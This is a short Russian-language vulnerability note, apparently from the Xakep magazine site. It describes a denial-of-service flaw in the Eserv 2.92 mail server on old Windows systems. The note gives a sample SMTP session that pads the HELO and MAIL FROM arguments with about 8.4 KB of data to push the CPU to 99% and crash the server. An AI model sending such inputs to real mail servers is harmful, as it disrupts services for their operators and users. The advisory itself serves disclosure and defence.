Лучшие статьи квартала на бумаге
2 000 ₽
Заказать журнал
Полный доступ к статьям и архиву выпусков
6 000 ₽ в год
Подписаться
Совместный курс «Хакера» и лаборатории «Хаксет»
7 000 ₽
Купить курс
Лучшие статьи за 2021–2022 годы на бумаге
2 000 ₽
Заказать журнал
Подвержены багу:
Eserv 2.92 Build 2982
Описание:
Дырка, приводящая к DoS атаке, была обнаружена в Eserv 2.92 (под Windows 2000 (SP1) и под Windows NT 4.0 (SP5)). Хакер может свободно вызвать 99% загрузку системы с последующим "падением".
Демонстрация:
Хакер коннектится telnet'ом к 25 порту, затем посылает 8.4 кб. данных после команд HELO и MAIL FROM: SMTP.
Пример:
HELO (A x 8.4K)
MAIL FROM: test@ (A x 8.4K).com
RCPT TO: <localuser>
DATA
Сайт защищен Qrator —